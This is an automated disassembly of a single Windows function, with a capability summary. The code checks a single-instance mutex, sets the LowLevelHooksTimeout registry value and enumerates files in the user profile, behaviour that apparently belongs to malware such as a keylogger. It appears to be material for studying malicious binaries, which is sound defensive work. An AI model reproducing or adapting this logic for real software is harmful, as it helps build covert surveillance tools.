Function at 0x402b10
Capabilities:
Check mutex and terminate process on windows
Check mutex on windows
Create thread
Enumerate files on windows
Set registry value
Terminate process

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x2dc
mov eax, dword [0x43f5c8]
xor eax, esp
mov dword [esp + 0x2d8], eax
push ebx
push esi
push edi
xor ebx, ebx
push 8
mov dword [esp + 0x2c], ebx
call fcn.0040def0
add esp, 4
cmp eax, ebx
je 0x402f54
mov dword [esp + 0x28], eax
xor ecx, ecx
mov dword [eax], ecx
xor edx, edx
mov dword [eax + 4], edx
mov ecx, dword [esp + 0x28]
push 0x43c134
lea eax, [esp + 0x2c]
mov dword [ecx], eax
push 1
push ebx
mov dword [esp + 0x4c], 0xf
mov dword [esp + 0x48], ebx
mov byte [esp + 0x38], bl
call dword [sym.imp.KERNEL32.DLL_CreateMutexA]
mov esi, eax
call dword [sym.imp.KERNEL32.DLL_GetLastError]
cmp eax, 0xb7
jne 0x402baa
push 0x3e8
push esi
call dword [sym.imp.KERNEL32.DLL_WaitForSingleObject]
cmp eax, 0x80
je 0x402baa
push esi
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
push 1
call main
mov edx, dword [str.Control_PanelDesktop]
mov eax, dword [0x43c150]
mov ecx, dword [0x43c154]
mov dword [esp + 0x1a8], edx
mov edx, dword [0x43c158]
mov dword [esp + 0x1ac], eax
mov eax, dword [0x43c15c]
mov dword [esp + 0x1b4], edx
mov edx, dword [str.LowLevelHooksTimeout]
mov dword [esp + 0x1b8], eax
mov eax, dword [0x43c168]
mov dword [esp + 0x1c0], edx
mov edx, dword [0x43c170]
mov dword [esp + 0x1b0], ecx
mov cx, word [0x43c160]
mov dword [esp + 0x1c4], eax
mov eax, dword [0x43c174]
mov dword [esp + 0x1cc], edx
mov word [esp + 0x1bc], cx
mov ecx, dword [0x43c16c]
lea edx, [esp + 0x10]
mov dword [esp + 0x1d0], eax
push edx
lea eax, [esp + 0x1ac]
mov dword [esp + 0x1cc], ecx
mov cl, byte [0x43c178]
push eax
push closesocket
mov dword [esp + 0x20], 0x1388
mov byte [esp + 0x1ca], bl
mov byte [esp + 0x1e0], cl
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyA]
mov eax, dword [esp + 0x10]
push 4
lea ecx, [esp + 0x18]
push ecx
push 4
push ebx
lea edx, [esp + 0x1d0]
push edx
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov ecx, dword [esp + 0x10]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push str.USERPROFILE
call fcn.0040d960
lea edx, [esp + 0x1dc]
add esp, 4
sub edx, eax
lea esp, [esp]
mov cl, byte [eax]
mov byte [edx + eax], cl
inc eax
cmp cl, bl
jne 0x402cb0
lea eax, [esp + 0x1d8]
dec eax
mov cl, byte [eax + 1]
inc eax
cmp cl, bl
jne 0x402cc2
mov edx, dword [0x43be58]
mov ecx, dword [0x43be5c]
mov dword [eax], edx
lea edx, [esp + 0x68]
mov dword [eax + 4], ecx
push edx
lea eax, [esp + 0x1dc]
push eax
call dword [sym.imp.KERNEL32.DLL_FindFirstFileA]
mov esi, eax
mov dword [esp + 0xc], esi
cmp esi, 0xffffffff
je 0x402dc4
test byte [esp + 0x68], 0x10
jne 0x402dab
lea ecx, [esp + 0x94]
mov eax, 0x441790
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x402d34
cmp dl, bl
je 0x402d30
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x402d34
add eax, 2
add ecx, 2
cmp dl, bl
jne 0x402d14
xor eax, eax
jmp 0x402d39
sbb eax, eax
sbb eax, 0xffffffff
cmp eax, ebx
jge 0x402dab
push str.USERPROFILE
call fcn.0040d960
mov edx, 0x441790
add esp, 4
sub edx, eax
mov cl, byte [eax]
mov byte [edx + eax], cl
inc eax
cmp cl, bl
jne 0x402d51
mov edi, 0x441790
dec edi
mov al, byte [edi + 1]
inc edi
cmp al, bl
jne 0x402d61
mov cx, word [0x43be60]
lea eax, [esp + 0x94]
mov word [edi], cx
mov ecx, eax
lea esp, [esp]
mov dl, byte [eax]
inc eax
cmp dl, bl
jne 0x402d80
mov edi, 0x441790
sub eax, ecx
mov esi, ecx
dec edi
mov cl, byte [edi + 1]
inc edi
cmp cl, bl
jne 0x402d91
mov ecx, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov esi, dword [esp + 0xc]
lea edx, [esp + 0x68]
push edx
push esi
call dword [sym.imp.KERNEL32.DLL_FindNextFileA]
test eax, eax
jne 0x402cfd
jmp 0x402e9b
push 0x441788
call fcn.0040de70
add esp, 4
push edx
push eax
lea esi, [esp + 0x50]
call fcn.00401ba0
add esp, 8
mov esi, eax
lea edi, [esp + 0x28]
call fcn.00403060
mov esi, 0x10
cmp dword [esp + 0x60], esi
jb 0x402e02
mov eax, dword [esp + 0x4c]
push eax
call fcn.0040cd90
add esp, 4
lea ecx, [esp + 0x48]
mov dword [esp + 0x60], 0xf
mov dword [esp + 0x5c], ebx
mov byte [esp + 0x4c], bl
call fcn.00404ba0
push str.USERPROFILE
call fcn.0040d960
mov edx, 0x441790
add esp, 4
sub edx, eax
nop
mov cl, byte [eax]
mov byte [edx + eax], cl
inc eax
cmp cl, bl
jne 0x402e30
mov eax, 0x441790
dec eax
mov cl, byte [eax + 1]
inc eax
cmp cl, bl
jne 0x402e40
mov ecx, dword [str._uamch]
mov dx, word [0x43be68]
mov dword [eax], ecx
mov cl, byte [0x43be6a]
mov word [eax + 4], dx
mov byte [eax + 6], cl
mov eax, dword [esp + 0x2c]
cmp dword [esp + 0x40], esi
jae 0x402e72
lea eax, [esp + 0x2c]
mov ecx, eax
mov dl, byte [eax]
inc eax
cmp dl, bl
jne 0x402e74
mov edi, 0x441790
sub eax, ecx
mov esi, ecx
dec edi
mov cl, byte [edi + 1]
inc edi
cmp cl, bl
jne 0x402e85
mov ecx, eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov eax, dword [0x440648]
mov ecx, dword [eax]
lea edx, [esp + 0x24]
push edx
push ebx
push ecx
push 0x402a90
push ebx
push ebx
call dword [sym.imp.KERNEL32.DLL_CreateThread]
cmp eax, ebx
je 0x402f0b
push 0xffffffffffffffff
push eax
call dword [sym.imp.KERNEL32.DLL_WaitForSingleObject]
cmp dword [esp + 0x40], 0x10
mov esi, eax
jb 0x402ed9
mov edx, dword [esp + 0x2c]
push edx
call fcn.0040cd90
add esp, 4
lea ecx, [esp + 0x28]
mov dword [esp + 0x40], 0xf
mov dword [esp + 0x3c], ebx
mov byte [esp + 0x2c], bl
call fcn.00404ba0
mov eax, esi
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x2d8]
xor ecx, esp
call fcn.00407b90
mov esp, ebp
pop ebp
ret 0x10
cmp dword [esp + 0x40], 0x10
jb 0x402f1f
mov eax, dword [esp + 0x2c]
push eax
call fcn.0040cd90
add esp, 4
lea ecx, [esp + 0x28]
mov dword [esp + 0x40], 0xf
mov dword [esp + 0x3c], ebx
mov byte [esp + 0x2c], bl
call fcn.00404ba0
mov ecx, dword [esp + 0x2e4]
pop edi
pop esi
pop ebx
xor ecx, esp
mov eax, 1
call fcn.00407b90
mov esp, ebp
pop ebp
ret 0x10
lea ecx, [esp + 0xc]
push ecx
lea ecx, [esp + 0x1c]
mov dword [esp + 0x10], ebx
call fcn.00408030
push 0x43dd08
lea edx, [esp + 0x1c]
push edx
mov dword [esp + 0x20], vtable.std::bad_alloc.0
call fcn.0040ed10
int3